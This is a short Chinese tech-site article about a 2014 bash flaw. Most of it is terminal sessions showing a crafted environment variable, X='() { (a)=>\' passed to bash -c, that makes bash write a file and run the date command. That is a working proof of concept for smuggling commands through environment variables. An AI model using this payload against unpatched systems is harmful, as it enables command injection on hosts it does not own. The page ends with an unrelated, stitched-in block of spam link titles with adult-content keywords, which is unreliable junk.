《電子技術(shù)應(yīng)用》
您所在的位置:首頁(yè) > 嵌入式技术 > 设计应用 > 一个linux下的bash安全漏洞
一个linux下的bash安全漏洞
摘要:
關(guān)鍵詞: bash 09 2014 2713 david davidcchen
Abstract:
Key words :

 1. 通過(guò)設(shè)置一個(gè)特殊的環(huán)境變量的env,能間接地查到到linux命令的屬性,如下:

  [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date

  ls: cannot access date: No such file or directory

  [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>\' bash -c 'date'

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date

  -rw-rw-r--. 1 david david 0 Sep 27 13:01 date

  [2014-09-27 13:01:27 david@davidcchen ~]$

  2. 一次運(yùn)行環(huán)境變量。

  [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version

  zsh 4.3.10 (x86_64-redhat-linux-gnu)

  [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version

  GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)

  Copyright (C) 2009 Free Software Foundation, Inc.

  License GPLv3+: GNU GPL version 3 or later

  This is free software; you are free to change and redistribute it.

  There is NO WARRANTY, to the extent permitted by law.

  [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>\' bash -c "echo date"; cat echo; rm echo

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  Sat Sep 27 13:03:52 CST 2014

  ---------->成功運(yùn)行date命令

此內(nèi)容為AET網(wǎng)站原創(chuàng),未經(jīng)授權(quán)禁止轉(zhuǎn)載。
主站蜘蛛池模板: 精品人妻人人做人人爽| 欧美亚洲伦理www| 91久久久久久久久久久| 国产精品久久久久久久久粉嫩av | 亚洲欧洲日韩精品| 精品久久久91| 麻豆成人av| 国产精品美女久久| 国产精品美女xx| 欧美乱人伦中文字幕在线| 亚洲专区国产精品| 国产日韩在线观看av| 日本久久久网站| 日韩av成人在线| 欧美国产综合视频| 亚洲免费精品视频| 国产精品91一区| 欧美日韩国产免费一区二区三区| 欧洲亚洲免费视频| 91av在线国产| 日本韩国在线不卡| 视频一区二区三区在线观看 | 欧美不卡视频一区发布| 国产精品久久国产三级国电话系列| 日韩一区国产在线观看| 中文字幕av久久| 日韩精品一区二区三区外面| 国产精品69av| 国产精品高清免费在线观看| 9a蜜桃久久久久久免费| 久久国产视频网站| 日本国产一区二区三区| 亚洲午夜精品一区二区三区| 91九色国产ts另类人妖| 亚洲欧洲国产精品久久| 少妇人妻无码专区视频| 国产精品入口免费视频一| 精品久久久三级| 久久久精品在线视频| 性高潮久久久久久久久| 久久人人爽人人爽爽久久|